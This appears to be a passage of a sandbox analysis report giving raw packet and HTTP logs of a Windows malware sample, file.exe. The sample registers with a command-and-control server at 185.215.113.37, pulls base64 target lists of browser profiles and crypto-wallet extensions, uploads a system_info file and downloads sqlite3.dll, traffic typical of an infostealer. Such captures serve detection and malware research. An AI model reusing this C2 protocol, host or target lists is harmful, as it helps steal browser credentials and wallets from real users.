Sep 28, 2024 10:19:21.052571058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:21.052618027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:21.052654028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:21.052680969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:21.053781986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:21.058592081 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:21.766603947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:21.766665936 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:26.120421886 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	4308	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 28, 2024 10:19:02.737724066 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 28, 2024 10:19:03.444458961 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 10:19:03.447235107 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 41 41 31 37 44 41 37 34 35 44 43 31 34 37 35 39 30 32 34 33 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 2d 2d 0d 0a Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="hwid"FAA17DA745DC1475902436------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="build"save------BGHIDGCAFCBAAAAAFHDA--
Sep 28, 2024 10:19:03.689610958 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 4e 6a 4f 47 4d 30 4f 54 68 69 59 57 59 35 4e 47 4a 6c 4d 7a 45 77 5a 54 5a 6b 4e 44 49 79 4e 6a 5a 6d 5a 6a 45 79 4e 54 5a 6a 59 57 55 34 5a 47 51 77 59 57 45 30 5a 44 52 68 5a 44 46 68 5a 44 46 68 4d 54 6b 35 4e 7a 51 7a 4d 54 49 77 4d 6a 67 78 4d 54 49 77 5a 44 4d 30 4e 47 4d 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTNjOGM0OThiYWY5NGJlMzEwZTZkNDIyNjZmZjEyNTZjYWU4ZGQwYWE0ZDRhZDFhZDFhMTk5NzQzMTIwMjgxMTIwZDM0NGMwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 28, 2024 10:19:03.691035986 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="message"browsers------AFBFHDBKJEGHJJJKFIIJ--
Sep 28, 2024 10:19:03.922082901 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 28, 2024 10:19:03.922127962 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 28, 2024 10:19:03.923409939 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHC Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="message"plugins------ECFHIJKJKFIDHJKFBGHC--
Sep 28, 2024 10:19:04.150748014 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 28, 2024 10:19:04.150809050 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 28, 2024 10:19:04.150825024 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 28, 2024 10:19:04.151151896 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 28, 2024 10:19:04.151166916 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Sep 28, 2024 10:19:04.151180983 CEST	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Sep 28, 2024 10:19:04.151195049 CEST	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Sep 28, 2024 10:19:04.152980089 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"fplugins------GIIEGHIDBGHIECAAECGD--
Sep 28, 2024 10:19:04.379971981 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 28, 2024 10:19:04.397059917 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 185.215.113.37 Content-Length: 6167 Connection: Keep-Alive Cache-Control: no-cache
Sep 28, 2024 10:19:04.397089958 CEST	6167	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 28, 2024 10:19:05.278122902 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 10:19:05.533905029 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 28, 2024 10:19:05.759164095 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:05 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 28, 2024 10:19:05.759816885 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 28, 2024 10:19:05.759833097 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 28, 2024 10:19:07.125942945 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHD Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
